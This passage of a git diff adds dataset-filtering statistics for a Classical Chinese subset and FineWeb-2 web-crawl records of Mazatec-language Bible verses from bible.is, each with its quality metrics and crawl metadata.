宜賦園梅聊成短詠","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.534,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/lzh_Hani/mala_000002_stas.jsonl b/lzh_Hani/mala_000002_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..53ee398284762a9e7a79c0a29d13c33b1e1cf887 --- /dev/null +++ b/lzh_Hani/mala_000002_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 16.235294117647058, + "character_repetition_ratio": 0.004294117647058823, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.25519607843137254, + "stopwords_ratio": 0.029019607843137254, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.8778627450980391, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 7.448090254750312, + "character_repetition_ratio": 0.01515578465587245, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.06847699473655887, + "stopwords_ratio": 0.07168927783643071, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.19139979916885022, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 13.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.267, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.97, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 40.0, + "character_repetition_ratio": 0.08, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.388, + "stopwords_ratio": 0.3, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 10.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.147, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.024, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 26.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.346, + "stopwords_ratio": 0.167, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 18.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.3005, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9924999999999999, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 13.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.267, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.97, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 11.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.193, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.8765000000000001, + "perplexity_score": 500.0 + } + }, + { + "total size": "51", + "keep size": "41", + "remove size": "10" + } +] \ No newline at end of file diff --git a/maa_Latn/fineweb-2_000001_keep.jsonl b/maa_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..82db4738f3e1dea74b10a9190e89e1396358dd88 --- /dev/null +++ b/maa_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,633 @@ +{"text":"San Marcos 9:33\n33 K'e̱ nga ijchò ya̱ na̱xa̱ndá Capernaum, k'e̱ nga jye títsa̱jna i̱ya ni'ya, Jesús kiskònangui-la̱ xi̱ta̱ xi kota'yàt'aà-la̱, kitsò-la̱: —¿Mé xi ko̱tándaà chibàya̱-nò k'e̱ nga tìtsa̱nchrobàya̱ ndi̱yá?\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/33","date":"2013-06-19T11:32:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708711794\/warc\/CC-MAIN-20130516125151-00018-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9907829762,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9907829761505127}","num_words":47,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 ¿Kó kixoán? ¿A ndaà tjín nga ki̱nchátsji jé-isa̱ mé-ne nga isa̱ tsee kjo̱ndaà tsjá-ne Nainá? 2 Majìn, mì ti̱ kiì k'oa̱ s'e̱n-ná. Jyeé titsa̱jnat'aàxìn-lá kjoa̱ ts'e̱ jé koni tsà jye k'eén xi i̱t'aà ts'e̱; mì ti̱ kiì ko̱ma ya̱ ki̱tsajnajiìn-isaá kjoa̱ ts'e̱ jé. 3 ¿A mì tsà jyeé tíjiìn-nò k'e̱ nga komà bautizar i̱t'aà ts'e̱ Cristo ngats'iaá nga ti̱koa̱ ya̱ titsa̱kjòkoa̱á k'e̱ nga k'en? 4 K'e̱ nga ma bautizar xi̱ta̱, k'oa̱á s'ín ngaya-la̱ koni tsà ya̱ sijiìn-t'aà-là Cristo k'e̱ nga k'en. Koni s'ín jaháya-la̱ Cristo i̱t'aà ts'e̱ nga'ñó-la̱ Nainá xi 'ñó jeya tíjna, k'oa̱á ti̱ s'ín machjeén nga ko̱s'ín si̱jchá yijo-ná nga ki̱jnakon xi̱tse̱ ìjngoò k'aá. 5 Koni s'ín titsa̱kjòkoa̱á Cristo k'e̱ nga k'en, jñá k'oa̱á ti̱ s'ín kjoa̱áya-ná koni s'ín jaháya-la̱ jè. 6 Tíjiìn-ná nga jè kjoa̱ jchínga-ná koni s'ín ki'nèé nga ìsa kjòtseé ya̱á kisìt'aà krò-la̱ Cristo mé-ne nga kàtachija-ne nga'ñó-la̱ yijo jé-ná nga mì ti̱ jé kjo̱tíxoma ìsa-ná. 7 Jngoò xi̱ta̱ xi jye k'en, jyeé tíjnandeií kjoa̱ ts'e̱ jé. 8 Nga ya̱ k'en-koa̱á Cristo, mokjeiín-ná nga ti̱koa̱ ya̱ ki̱tsajnakoa̱á. 9 'Ya-ná k'e̱ nga jaáya-la̱ Cristo k'e̱ nga k'en, nì ti̱ jngoò na̱chrjein ki̱yá ìjngoò k'a-ne. Mì ti̱ mé nga'ñó tjín-la̱ kjoa̱biya nga jè ko̱tíxoma-la̱. 10 K'e̱ nga k'en Cristo, jngoò k'a k'en xi kjoa̱ ts'e̱ jé-ná; i̱'ndei̱ nga íjngoò k'a tíjnakon-né koií kjoa̱ tíjnakon-ne nga jeya síkíjna Nainá. 11 Jñò, k'oa̱á ti̱ s'ín ti̱kítsjeèn koni tsà jye k'eèn xi kjoa̱ ts'e̱ jé; ti̱tsajnakon-nò xi kjoa̱ ts'e̱ Nainá nga ya̱ titsa̱jnako̱ò Na̱'èn-ná Jesucristo. 12 Koií kjoa̱-la̱ mì ti̱ kiì biì'nde-là yijo jé-nò nga jè kjoa̱ ts'e̱ jé ko̱tíxoma-nò k'e̱ nga kjo̱'ñó s'ín-nò nga nikitasòn-là kjoa̱ xi ch'o tjín xi síjé yijo-nò. 13 Kiì ya̱ nìnga̱tsja yijo-nò kjoa̱ ts'e̱ jé nga jè jé síkjeén nga ch'o 'nè, ta̱ sa̱á jè Nainá ti̱nga̱tsjaà yijo-nò koni jngoò xi̱ta̱ xi jye jaáya-la̱ i̱t'aà ts'e̱ kjo̱biyà. Nainá ti̱nga̱tsjaà yijo-nò nga kàtasíkjeèn kjoa̱ xi kixi̱ tjín. 14 Kjoa̱ ts'e̱ jé, mì ti̱ mé nga'ñó tjín-la̱ nga jè ko̱tìxoma-nò nga mì tsà kjoa̱ ts'e̱ kjo̱tíxoma-la̱ Moisés titsa̱jnajñoò; kjo̱ndaà-la̱ Nainá titsa̱jnajñoò. 15 ¿Kó bixoán? ¿A ndaà tjín nga ki̱nchátsji jé ìsa̱á nga kjo̱ndaà-la̱ Nainá titsa̱jnajñaá nga mì tsà kjoa̱ ts'e̱ kjo̱tíxoma titsa̱jnajñaá? Majìn, mì kiì ndaà tjín. 16 Ndaà tíjiìn-nò tsà ya̱ si̱nga̱tsja yijo-nò ts'e̱ xi̱ta̱ xi bítje̱ chi̱'nda nga jè nìkitasòn-là, chi̱'nda-la̱ ko̱maà ts'e̱ xi̱ta̱ jè. Kjo̱'ñó tjín-ne nga jè si̱kitasòn-là. K'oa̱á s'ín tjín, tsà chi̱'nda-la̱ jé ko̱ma nga jè si̱kitasòn-là, ki̱yà-nò; ta̱nga tsà chi̱'nda-la̱ Nainá ko̱ma nga jè si̱kitasòn-là, kixi̱í ki̱tsa̱jna nguixko̱n jè. 17 Jñò, nga isa̱ kjòtseè, k'oa̱á s'ín kinìkitasòn-là kjoa̱ ts'e̱ jé koni tsà jngoò chi̱'nda, ta̱nga i̱'ndei̱, ndaà chjí-la̱ Nainá nga ko̱ i̱ni̱ma̱-nò ndaà nìkitasòn koni s'ín nguì ndaà tjín 'én kixi̱ xi kiseno̱jmí-nò. 18 I̱'ndei̱ jyeé titsa̱jnandeií-là kjoa̱ ts'e̱ jé; chi̱'nda ts'e̱ kjoa̱kixi̱-nò; tjíné-nò nga si̱kitasòn koni s'ín síjé kjoa̱kixi̱. 19 Koi 'én tíchjako̱-nò xi mì tsà 'in chja̱ koií kjoa̱-la̱ nga indaà tjín takòn; mì kiì ndaà machi̱ya-nò kjoa̱ ts'e̱ Nainá. Koni s'ín ki'nè nga isa̱ kjòtseè nga ya̱ kinìnga̱tsja yijo-nò i̱t'aà ts'e̱ ngats'iì kjoa̱ch'o xi tjín nga jè tsatíxoma-nò koni xi̱ta̱ chi̱'nda; i̱'ndei̱ k'oa̱á ti̱ s'ín ti̱nga̱tsja yijo-nò i̱t'aà ts'e̱ kjoa̱ kixi̱ mé-ne jè kjoa̱ kixi̱ kàtatíxoma-nò koni chi̱'nda xi tsjeè títsa̱jna nga nguixko̱n Nainá. 20 K'e̱ nga kjoa̱ ts'e̱ chi̱'nda-la̱ jé titsa̱jnajñoò, mì kiì titsa̱nìkitasòn-là kjoa̱kixi̱-la̱ Nainá. 21 Ta̱nga ¿mé xi kisakò-nò kjoa̱ ts'e̱ jé? I̱'ndei̱ tà masobà-nò kjoa̱ koi; tà ya̱á fìko̱-ná ñánda tjín kjoa̱biya. 22 I̱'ndei̱ nga jye titsa̱jnandeií-là xi kjoa̱ ts'e̱ jé, chi̱'nda-la̱ Nainá ma; kjo̱ndaà xi sakò-nò jè-né nga tsjeè titsa̱jnaà nga nguixko̱n Nainá. Xi feit'aà-ne, s'e̱-nò kjoa̱bijnacho̱n ni̱ta̱ mé na̱chrjein-ne. 23 Chjí xi tjín-la̱ kjoa̱ ts'e̱ jé, kjoa̱biya-né. Ta̱nga kjo̱tjò xi tsjá Nainá, kjoa̱bijnachon-né ni̱ta̱ mé na̱chrjein-ne nga ya̱ titsa̱jnakoa̱á Cristo Jesús xi Na̱'èn-ná ma.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/6","date":"2013-05-22T13:23:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701760529\/warc\/CC-MAIN-20130516105600-00045-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":591,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 11:22\n22 Chìtsejèn-la̱ Nainá, 'ñó ndaà xi̱ta̱ ta̱nga ti̱koa̱á jè xi mejèn-la̱ nga ndaà ki̱tasòn 'én xi chja̱. Mì kiì beè i̱ma̱ jñà xi̱ta̱ xi chinchat'aàxìn-la̱ Nainá. Ta̱nga i̱t'aà tsi̱ji títsjá-lè kjo̱ndaà. Tà jè xi mochjeèn nga k'oa̱s'ín ki̱jni koni s'ín tjín kjo̱ndaà xi kitsjaà-le. Tsà majìn ti̱koa̱ ko̱teèt'aà-lè koni jngoò chrja-la̱ yá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/22","date":"2013-05-26T02:08:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706484194\/warc\/CC-MAIN-20130516121444-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999738932,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999738931655884}","num_words":71,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.254,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Juan 1:45\n45 Felipe kiì kátsji Natanael, kitsò-la̱: —Jè xi̱ta̱ xi o̱xkit'a kjo̱tíxoma xi kiskiì Moisés ko̱ xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá, jyeè kàyaxkon-je̱n nga jè Jesús xi ki'ndí-la̱ José xi Nazaret i̱'nde-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/John\/1\/45","date":"2013-05-19T07:44:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696384213\/warc\/CC-MAIN-20130516092624-00065-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9946318865,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9946318864822388}","num_words":51,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngats'iì xi̱ta̱ kàtasíkitasòn-la̱ xi xi̱ta̱xá titsa̱jna, nga Nainá kitsjaà-la̱ kjo̱tíxoma. Jñà xi xi̱ta̱xá títsa̱jna, Nainá kitsjaà-la̱ xá. 2 Jñà xi̱ta̱ xi bitsa̱jna tájaà-la̱ kjo̱tíxoma-la̱ xi̱ta̱xá, kondra̱á bitsa̱jna-la̱ jñà xi̱ta̱ xi Nainá kitsjaà-la̱ xá. Jñà xi̱ta̱ koi, ti̱ yijo-la̱á tibinè-la̱ kjo̱'in. 3 Jñà xi̱ta̱xá mìtsà koi xá títsa̱jna-ne nga jñà ki̱nchaxkón-la̱ xi̱ta̱ xi ndaà s'ín, jñà-né xi̱ta̱ xi ch'o tjín kjoa̱ xi s'ín. Tsà mejèn-lè nga mì kiì ki̱skón-la̱ xi̱ta̱xá, ndaà t'i̱in, ko̱ jñà xi̱ta̱xá ndaà si̱ìkíjna-lè. 4 Jñà xi xi̱ta̱xá tjín-la̱, xá ts'e Nainá nchisíkitasòn, mé-ne nga ndaà ki̱jna-ne. Ta̱nga tsà ch'o tjín kjoa̱ xi ti'nì, ti̱skón-la̱ xi xi̱ta̱xá tjín-la̱, nga tjí'nde-la̱ nga tsjaà-le kjo̱'in. Nga xá-la̱ Nainá nchis'ín k'e̱ nga bìndajiìn kjoa̱ ko̱ nga tsjá-la̱ kjo̱'in jñà xi̱ta̱ xi ch'o s'ín. 5 K'oa̱á ma-ne nga mochjeèn-né nga ndaà si̱kitasòn-lá jñà xi xi̱ta̱xá títsa̱jna, mìtsà tà koi-ne nga kjo̱'in tsjá-ná; koi-né nga xó k'oa̱s'ín beè-la̱ takoán nga tjínè-ná nga si̱ki̱tasoán. 6 Koií kjoa̱-la̱ nga tikoa̱ machjí to̱n sá, nga jñà xi̱ta̱xá k'oa̱á s'ín nchisíkitasòn-la̱ Nainá ko̱ kjit'aà na̱chrjein k'oa̱tjín xá xi nchis'ín. 7 Tíchjió yije mé xi kitje̱n-nò. Jè xi kitje̱n-la̱ to̱n sá, kàtichjí. Jè xi kitje̱n-la̱ tsojmì xi machjítji, kàtichjítji. Jè xi̱ta̱ xi mochjeèn-la̱ nga jcha̱xkón, kàtayaxkón. Jè xi̱ta̱ xi mochjeèn-la̱ nga ndaà kíjna, ndaà ti̱kíjnaà. 8 Kì mé xi jmeè'tioòn yijo-nò. Ta̱nga kitjeén-nò ts'e̱ kjoa̱tjòcha i̱t'aà ts'e̱ xi̱ta̱ xinguio̱o. Nga jè xi matsjakeè xíkjín jye kisìkitasòn yije Kjo̱tíxoma. 9 Jñà kjo̱tíxoma tsò-ne: \"Kì kjoa̱ chijngui 'nì, kì xi̱ta̱ nìk'iìn, kì chijé 'nì, kì 'én ndiso nokjoì, kì maxìtakòn-chiì xingui̱i\". Ngats'iì kjo̱tíxoma koi, ko̱ xi kjeií, ya̱á mangásòn yije jè kjo̱tíxoma xi tsò: \"Ti̱tsjachi xi̱ta̱ xingui̱i koni tsà ti yijo tsi̱ji-ne.\" 10 Jè xi matsjakeè xíkjín, mìtsà ch'o síko̱ xi̱ta̱ xíkjín. Jè xi matsjakeè xíkjín, jye ndaà tísíkitasòn Kjo̱tíxoma. 11 K'e̱ nga koa̱s'ín s'eén yijeé kjoa̱ koi, jcha̱-ná na̱chrjein i̱'ndei̱ mé kjoa̱ xi tíma nga jye ijchò chi̱ba̱-la̱ nga sikjaà-lá yijo-ná nga titsafè. Jye 'ñó kjòchrañàt'aà na̱chrjein nga ki̱tsa̱jna'ndia̱á kjoa̱ ts'e̱ jé-ná, mì k'oa̱á-ne koni k'e̱ nga sa kòkjeiín-ná. 12 Ni̱tje̱n jye tífahato, jye tímachrañà na̱chrjein nga s'e̱ i̱sén nga ki̱tjojen ìjngoò k'a Na'èn-ná. Ki̱nachrjenguiaá nga'tsiì kjoa̱ xi ma ñánda nga jñò chon ko̱ chjoé nga'ñó-la̱ Nainá koni s'ín machjeén ñánda iseèn choòn koni tsà ki̱cha̱ ts'e̱ soldado. 13 K'oa̱á s'ín iseèn ki̱tjá koni na̱chrjein nga ndaà si̱jchá yijo-ná. Mì kì mochjeén nga taxki̱ chji̱neé tsojmì ko̱ nga ma'chiaá. Mì kiì mochjeèn nga íchjín kjóhijtakoa̱á, ko̱ mì kì ma taxki̱ si̱koaá yijo-ná. Mì kiì mochjeèn nga xi̱ta̱ kixkaànkoa̱á ko̱ mì kiì mochjeèn nga kjoa̱xìtakòn kichjà-lá xinguia̱á. 14 K'oa̱á s'ín ti̱jchá yijo-nò koni s'ín kis'iìn jè Na̱'èn-ná Jesucristo, kì kì nìkitasòn-là yijo-nò kjoa̱ ch'o xi síjé.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/13","date":"2013-05-24T14:10:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704664826\/warc\/CC-MAIN-20130516114424-00007-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000061988830566}","num_words":423,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Juan 10:12\n12 Jè xi̱ta̱ xi tà chi̱'nda tíjna nga ko'ndà orrè, k'e̱ nga beè nga nchrobá chrañà tsején, síkítsa̱jnaà jñà orrè, i̱kjoàn onga. Koií k'oa̱s'ín-ne nga mì tsà jè paxtò xi ko'ndà, ti̱koa̱ mìtsà jè nei-la̱ orrè. I̱kjoàn matsja-la̱ jè tse̱jén nga tsobà'ñó jñà orrè, xki̱ xi ján sítsjoòya jñà orrè xi i'nga.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/John\/10\/12","date":"2013-05-21T15:14:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700132256\/warc\/CC-MAIN-20130516102852-00019-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.999990344,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999903440475464}","num_words":72,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 K'e̱é kits'iì jngoò-na yá xi ma machi̱ba̱ya-ne, xi k'oa̱á kji koni kjoàn yá nise. Ki'mì-na: —Ti̱sítji̱in, ti̱chi̱ba̱yi jè i̱ngo̱ ítjòn-la̱ Nainá ko̱ jè ímixa̱ tsjeè-la̱. Tixki̱yi kótjín ma-ne jñà xi̱ta̱ xi ya̱ beèxkón Nainá. 2 Jè ndi̱tsin xi kijnat'aà-la̱ i̱ngo̱, kì kì nìchi̱ba̱yi nga jñá kitjoé-la̱ xi ta̱xki̱ xi̱ta̱ xi mì tsà xi̱ta̱ judío. Jñà xi̱ta̱ koi, ichán jò sá kjo̱tèxoma ya̱ Jerusalén xi i̱'nde tsjeè-la̱ Nainá. 3 'Aán sikasén ingajò xi̱ta̱-na̱ xi tsjá 'én i̱t'aà ts'a̱n nga ki̱chja̱ya jngoò jmì ko̱ jò sindo̱ ko̱ jàn-kaàn na̱chrjein; ko̱ jñà nikje xi ko̱kjá, nikje jmà kjoàn xi ts'e̱ kjoa̱ba̱. 4 Jñà ingajò xi̱ta̱-na̱ xi tsjá 'én i̱t'aà ts'a̱n, jñà-né ingajò yá olivo ko̱ ingajò ki̱cha̱ candelero xi jncha kixi̱ nguixko̱n Nainá xi otíxoma-la̱ i̱sò'nde. 5 Tsà yá xi mejèn-la̱ si̱ìki'on xi̱ta̱ koi; ni'ín ko̱chrje tso'ba xi jngoò k'a ko̱ká jñà xi kondra̱-la̱. K'oa̱ás'ín ki̱yá yije, ni̱ta̱yá-ne xi mejèn-la̱ si̱ìki'on. 6 Jñà xi̱ta̱ koi tjín-la̱ nga'ñó nga ma-la̱ ki̱ìchjoá-la̱ ngajmiì mé-ne mì ti̱ kiì k'oa̱-ne jtsí jñà na̱chjrein k'e̱ nga ki̱chja̱ya i̱t'aà ts'a̱n. Ti̱koa̱á tjín-la̱ nga'ñó i̱t'aà ts'e̱ nandá nga ma-la̱ nga jní s'i̱in; ko̱ ko̱maá-la̱ kjìn sko̱ya kjo̱'in tsjá-la̱ xi̱ta̱ i̱sò'nde; ko̱maá-la̱ nga ko̱s'ín s'i̱ìn ni̱ta̱ kótjín k'a mejèn-la̱ nga s'i̱ìn. 7 I̱ngajò xi̱ta̱ koi, k'e̱ nga jye tsjá 'én-la̱, jè cho̱ je xi ch'o kji xi bitjomijiìn-ne ya̱ ni̱tja̱n jñò, ska̱àn-ko-né, ko̱ si̱ìkijne-la̱, i̱kjoàn ki̱yá i̱ngajò xi̱ta̱ koi. 8 Jñà yijo-la̱ xi̱ta̱ koi, ya̱á si̱yijo osen ndi̱tsin-la̱ na̱xa̱ndá ítjòn, ñánda kisit'aà kro Na̱'èn-ná. Jè 'ín-la̱ na̱xa̱ndá ítjòn xohokji, k'o̱aás'ín ngaya-la̱ koni Sodoma o Egipto. 9 Xi̱ta̱ xi ya̱ i̱nchrobájiìn-ne na̱xa̱ndá xi tjín i̱sò'nde, ko̱ ngats'iì tje̱-la̱ xi̱ta̱ xi tjín i̱sò'nde, ko̱ xi̱ta̱ xi chja̱ ngats'iì 'én xi tjín, ko̱ xi̱ta̱ xi ya̱ nchrobá-ne ngats'iì nangui xi tjín i̱sò'nde, ján na̱chrjein osen skótsejen-jno yijo-la̱ mik'en; ko̱ mì kiì tsjá'nde nga si̱ìjiìn jñà xi̱ta̱ koi xi jò ma-ni. 10 Jñà xi̱ta̱ xi tjín i̱sò'nde kjo̱tsjaá-la̱ nga jye k'en xi̱ta̱ koi; tsjá kjo̱tjò-la̱ tsojmì xi̱ta̱ xíkjín. Koií k'oa̱s'ín s'i̱in-ne nga jñà ingajò xi̱ta̱ xi chja̱ ngajo-la̱ Nainá, tseé kjo̱'ìn tsjá-la̱ jñà xi̱ta̱ i̱sò'nde. 11 K'e̱ nga jye tsato xi jàn na̱chrjein osen, jè Nainá kisìkítsa̱jnakon ìjngoò k'a-ne nga jaháya-la̱; i̱kjoàn chincha kixi̱ ìjngoò k'a-ne; ko̱ ngats'iì xi̱ta̱ xi kijtseè, 'ñó jchán kitsakjòn. 12 Ingajò xi̱ta̱ koi kiì'nchré jngoò-la̱ jta̱ xi 'ñó kiìchja̱ xi ngajmiì inchrobà-ne, kitsò-la̱: —Nchrobá-mijìnjno i̱jndé. I̱kjoàn kiìmijìn-jiìn ifi ján ngajmiì. Ngats'iì jñà xi xi̱ta̱ kondra̱-la̱ kijtseè-né. 13 Ti̱ k'e̱-ne j'iì jngoò ch'ón xi 'ñó jchán ts'a; jngoò ya na̱xa̱ndá chixoña xi ma-ne te ya kóhokji na̱xa̱ndá; ko̱ jè kjoa̱-la̱ ch'ón, itoò jmiì xi̱ta̱ k'en. Jñà xi̱ta̱ xi tsiningui-ne, ndaà jchán kitsakjòn. I̱kjoàn kiìchja̱t'aà-la̱ Nainá xi tíjna ngajmiì nga jeya kisìkíjna. 14 Jyeé tsato kjo̱'in xi ma-ne jò xi taxki̱ 'oón komàt'in xi̱ta̱; ta̱nga nchrobá ni̱to̱ón xi ma-ne jàn k'a. 15 Jè xi ma-ne itoò àkja̱le̱ kisìkjindáya chrjo-la̱; kjín jchán jta̱ kina'ya-la̱ ngajmiì xi 'ñó kiìchja̱ nga kitsò: Jñà kjo̱tíxoma xi tjín i̱sò'nde, jye ts'e̱ Na̱'èn-ná xi otíxoma-ná ko̱ jè Cristo xi xó kinìkasén-ni. Jè ko̱tixoma ni̱ta̱mé na̱chrjein-ne. 16 Jñà xi̱ta̱ jchínga xi kaàn ñijòn ma-ne, xi títsa̱jnanè íxi̱le̱ nga nguixko̱n Nainá, chinchaxkó'nchi ñia'taà-la̱ nga kijtseèxkón Nainá. 17 Kitsò: Na̱'èn xi Nainá 'mì-le. Ndaàha̱ chjí-le nga ta ji ta̱ jngoò-né xi 'ñó tsee nga'ñó tjín-le, ngaji̱ xi tijni i̱'ndei̱, ko̱ xi tijni skanda kjòtseé, [ko̱ xi sa̱ kjoi̱i ìjngoò k'a-ne.] Tìb'iì-leje̱n kjo̱ndaà nga jye kachjoí nga'ñó xi tjín-le; ko̱ jye kòbíts'iì nga ji tíhotíxomai. 18 Jñà xi̱ta̱ xi ta̱xki̱ xi̱ta̱ xi mì tsà xi̱ta̱ judío jye kòjtì-la̱; ta̱nga jye ijchò na̱chrjein-la̱ kjoa̱ jtì-lè k'e̱ nga ji k'oi̱-la̱ kjo̱'in xi̱ta̱ koi, jè na̱chrjein k'e̱ nga ji kíndaàjiìn-la̱ jñà xi̱ta̱ xi jye k'en ko̱ k'oi̱-la̱ kjo̱tjò xi o'kín-la̱ nga tjoé-la̱ xi̱ta̱ chi̱'nda-lè xi kiìchja̱ ngajo-le ko̱ jñà xi̱ta̱-la̱ Nainá ko̱ ngats'iì xi beèxkón-le, jñà xi jtobá kjoàn ko̱ xi̱ta̱ jchínga. Si̱ikjeèhisoìn jñà xi̱ta̱ xi ma-la̱ síkjeèhisòn xi̱ta̱ na̱xa̱ndá i̱sò'nde. 19 Jàn ngajmiì kitjáxa̱ i̱'nde tsjeè-la̱ Nainá; ya̱ i̱ya i̱'nde tsjeè-la̱ ki'ya-la̱ jè kaxa̱ ts'e̱ kjoa̱ xi tsibìndaàjiìn Nainá ko̱ jñà xi̱ta̱. I̱kjoàn jate ni'ín ch'o̱n, kina'ya-la̱ jta̱, kits'iìn ch'o̱n, ts'aà ch'ón, ts'aà jtsín ndo̱jo̱ xi 'ñó jtsian kjoàn.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/11","date":"2013-05-19T07:59:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696400149\/warc\/CC-MAIN-20130516092640-00014-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999930859,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999993085861206}","num_words":657,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 K'oa̱á ma-ne bìtsi'bà-la̱ Nainá, an xi 'mì-na Pablo nga nda̱yá tijna̱a, koií nga̱tjì-la̱ nga an beèno̱jmí-nò 'én ndaà-la̱ Jesucristo, jñò xi mìtsà xi̱ta̱ Judío 'mì-nò. 2 Nga jyeé-la tíjiìn-nò nga kjo̱ndaà ts'e̱ Nainá-né nga an kitsjaà-na xá xi kjo̱ndaà 